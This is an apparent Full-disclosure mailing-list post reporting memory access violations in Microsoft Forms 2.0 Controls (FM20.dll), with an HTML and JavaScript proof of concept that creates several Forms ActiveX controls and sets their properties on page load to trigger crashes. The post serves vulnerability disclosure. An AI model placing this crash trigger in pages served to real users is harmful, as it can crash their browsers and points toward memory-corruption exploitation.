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[Full-disclosure] Microsoft Forms 2.0 Controls Multiple Memory Access Violations

There are multiple memory access violations in the Microsoft Forms 2.0 
Controls(FM20.dll). PoC as follows:

------------------------
<!--
written by e.b.
-->
<!--
Written by e.b.
-->
<html>
 <head>
  <script language="JavaScript" DEFER>
    function Check() {
      var obj;

      //Forms.Checkbox.1
      obj = new ActiveXObject("Forms.Checkbox.1");  
      obj.Caption = "A";
      obj.GroupName = "A";
      obj.Accelerator = "A";

      //Forms.OptionButton.1
      obj = new ActiveXObject("Forms.OptionButton.1");  
      obj.Caption = "A";
      obj.GroupName = "A";
      obj.Accelerator = "A";

      //Forms.ToggleButton.1
      obj = new ActiveXObject("Forms.ToggleButton.1");  
      obj.Caption = "A";
      obj.GroupName = "A";
      obj.Accelerator = "A";

     //Forms.ComboBox.1
     obj = new ActiveXObject("Forms.ComboBox.1"); 
     obj.Text = "A";
     obj.Value = "A";
    

     //Forms.TextBox.1
     obj = new ActiveXObject("Forms.Textbox.1"); 
     obj.Text = "A";
     obj.Value = "A";
     obj.SelStart = 1;
}
  </script>

 </head>  
 <body onLoad="JavaScript: return Check();" />
</html>
------------------------

There may be more.

Elazar

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